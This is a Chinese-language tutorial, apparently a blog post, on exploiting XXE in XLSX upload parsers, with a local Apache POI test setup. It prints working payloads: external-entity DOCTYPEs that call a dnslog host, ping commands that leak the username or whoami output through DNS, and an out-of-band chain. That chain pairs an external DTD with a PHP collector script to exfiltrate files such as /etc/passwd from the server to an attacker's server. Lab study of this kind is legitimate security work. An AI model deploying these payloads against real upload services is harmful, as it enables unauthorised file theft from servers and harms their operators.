0X00 前言
CTF 选手都清楚我们像 word 文档格式改成 zip 格式后,再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的 XML 文件。实际上,与所有 post-Office 2007 文件格式一样,现代 Excel 文件实际上只是 XML 文档的 zip 文件。这称为 Office Open XML 格式或 OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析 XML。如果解析器未安全配置,则 XXE 几乎是不可避免的。
0X01 XXE 漏洞的工作原理
许多网站允许上传 / 导入文件,处理文件内部数据一般都会解析 XML,如 Word 文档、Excel 表格等。这些文件通常以 ZIP 格式存储,将多个 XML 文件和其他资源整合其中。一旦这些文件被上传,服务器通常会对其内容进行解析和处理。
然而,如果服务器在处理这些文件时未能正确配置 XML 解析器,就可能导致 XXE(XML 外部实体)漏洞。这种漏洞允许攻击者通过精心构造的 EXCEL 文件,利用解析器的特性来进行恶意操作。
XXE 漏洞的主要原理在于 XML 解析器对外部实体的处理。当攻击者上传包含外部实体引用的恶意 XML 文件时,如果解析器没有被适当地配置,它可能会试图解析这些外部实体,导致以下潜在风险:
- 文件泄露: 攻击者可以利用 XXE 漏洞访问服务器上的敏感文件。例如,通过构造一个包含对
/etc/passwd
文件的外部实体引用的 XML 文件,攻击者可能能够泄露系统中的用户信息。 - 远程代码执行: 在某些情况下,攻击者可以通过 XXE 漏洞实现远程代码执行,尤其是在 XML 解析器支持 DTD(文档类型定义)并允许外部实体执行的情况下。
- 拒绝服务攻击: 攻击者可以构造一个复杂的 XML 文件,消耗过多的系统资源,导致服务拒绝。
0X02 测试环境搭建
大多数应用程序似乎都将xl / workbook.xml放入其XML解析器中以获取工作表列表,然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同,xls是特有的二进制格式,其核心结构是复合文档类型,而xlsx的核心结构是XML类型,采用基于XML的压缩方式。xls格式文件无法插入payload进行XXE攻击。
测试的时候,根据功能点,docx,xlsx都可以尝试。
暂时没有合适的站点测一下,我们可以本地先起一个简单的程序制造一个合适的xslx文件测试
1. 添加 Apache POI 依赖
在 pom.xml
中添加 Apache POI 相关依赖:
<!-- Apache POI 用于读取 Excel 文件 -->
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.8</version>
</dependency>
2. 修改xslx
利用bandzip打开xslx文件,找到Content_Types.xml文件,添加外部实体如下:
实体的值:
<!DOCTYPE ANY [
<!ENTITY % d SYSTEM "http://your-dnslog_address">
%d;
]>
3. 测试代码(读取Excel文件)
运行时将路径改为自身excel文件路径即可开始运行
package com.itkim.tool;
import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import java.io.FileInputStream;
/**
* @description: 读取Excel文件
* @author: KimJun
* @date: 19.10.5 23:27
*/
public class ExcelData {
private XSSFSheet sheet;
/**
* 构造函数,初始化excel数据
*
* @param filePath excel路径
* @param sheetName sheet表名
*/
ExcelData(String filePath, String sheetName) throws Exception {
FileInputStream fileInputStream = null;
fileInputStream = new FileInputStream(filePath);
XSSFWorkbook sheets = new XSSFWorkbook(fileInputStream);
//获取sheet
sheet = sheets.getSheet(sheetName);
}
//打印excel数据
public void readExcelData() {
//获取行数
int rows = sheet.getPhysicalNumberOfRows();
for (int i = 0; i < rows; i++) {
//获取列数
XSSFRow row = sheet.getRow(i);
int columns = row.getPhysicalNumberOfCells();
for (int j = 0; j < columns; j++) {
String cell = row.getCell(j).toString();
System.out.println(cell);
}
}
}
//测试方法
public static void main(String[] args) throws Exception {
ExcelData sheet1 = new ExcelData("C:\\Users\\I\\Desktop\\test3.xlsx", "Sheet1");
sheet1.readExcelData();
}
}
0x03 测试
1. dnslog测试数据带外
运行代码后会爆一堆错误,这个时候翻看发现有成功访问dnslog的记录,文件既成功制作,且站点存在漏洞
这个时候可以分系统测试是否能数据
windows
ping %USERNAME%.riz3cq.dnslog.cn
linux
ping `whoami`.lfryol.dnslog.cn
2. 外部引用实体dtd
下面的地址我们在实际中肯定都是放到我们的vps里的
利用bandzip打开xslx文件,找到Content_Types.xml文件,修改外部实体如下:
实体的值:
<!DOCTYPE ANY[
//如果目标有中文可用编码绕过
//<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
%remote;
%all;
]>
起一个web服务,路径下创建一个.dtd文件,内容为实际所需读取文件如
windows:
"C:\Windows\system.ini"
linux
"/etc/passwd"
dtd内容如下
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
再写一个get.php 用于读取文件后写入
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
成功读取到文件并写入